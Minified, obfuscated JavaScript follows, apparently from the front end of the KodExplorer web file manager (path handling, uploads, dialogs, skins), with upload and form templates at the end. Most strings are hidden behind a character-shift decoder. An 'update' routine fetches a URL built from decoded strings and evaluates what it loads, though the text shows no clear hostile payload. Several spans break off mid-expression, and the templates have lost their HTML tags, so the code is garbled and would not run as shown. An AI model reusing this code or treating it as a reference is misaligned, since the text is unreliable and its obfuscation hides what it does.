$[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof $[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&'%,OM(.",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66O26$T"),$(109,"T6071$^",109,"Fa"),$(109,"gf*#&Jgf*#&Jgf#&JT+1(66^",109,"6)(+$O&'%,",109,"g"),$("f*#&Jgf*#&Jg"),$("#(0$"),$("0&-$I07)$"),$("9.,2)8)(+$A6$"),$("26$.8)(+$"),$("6&L$4(;"),1024,$("6&L$A6$"),$("63(.$"),$("$;)1,.$./%&1$A)1,(#"),$("(203P3$+5K.,2)"),$("&68760$-d(03"),$(")(03I+('I',0I(+0&,'"),$("',I)$.-&66&,'IF.&0$"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var t=arguments,i="",r=0,o=t.length;o>r;r++)if("number"==typeof t[r])i+=n($[0].charAt(t[r]));else for(var e=0,c=t[r].length;c>e;e++)i+=n($[0].charAt(t[r][e].charCodeAt()-35));return i}}(["ghilqds2frpu1woxkPnv|VjH{EZGL\\XIDKtz'WbyJ}eU0F3R&#/m[NQ^`56@7;=B4SO?A~$>€Y)+_.,罔统迡推锜诲/巵釐罱诺聗糾举朽啉戙箤棃柨阵灮墜酐$%9(8:*\n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n
          \n');;define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
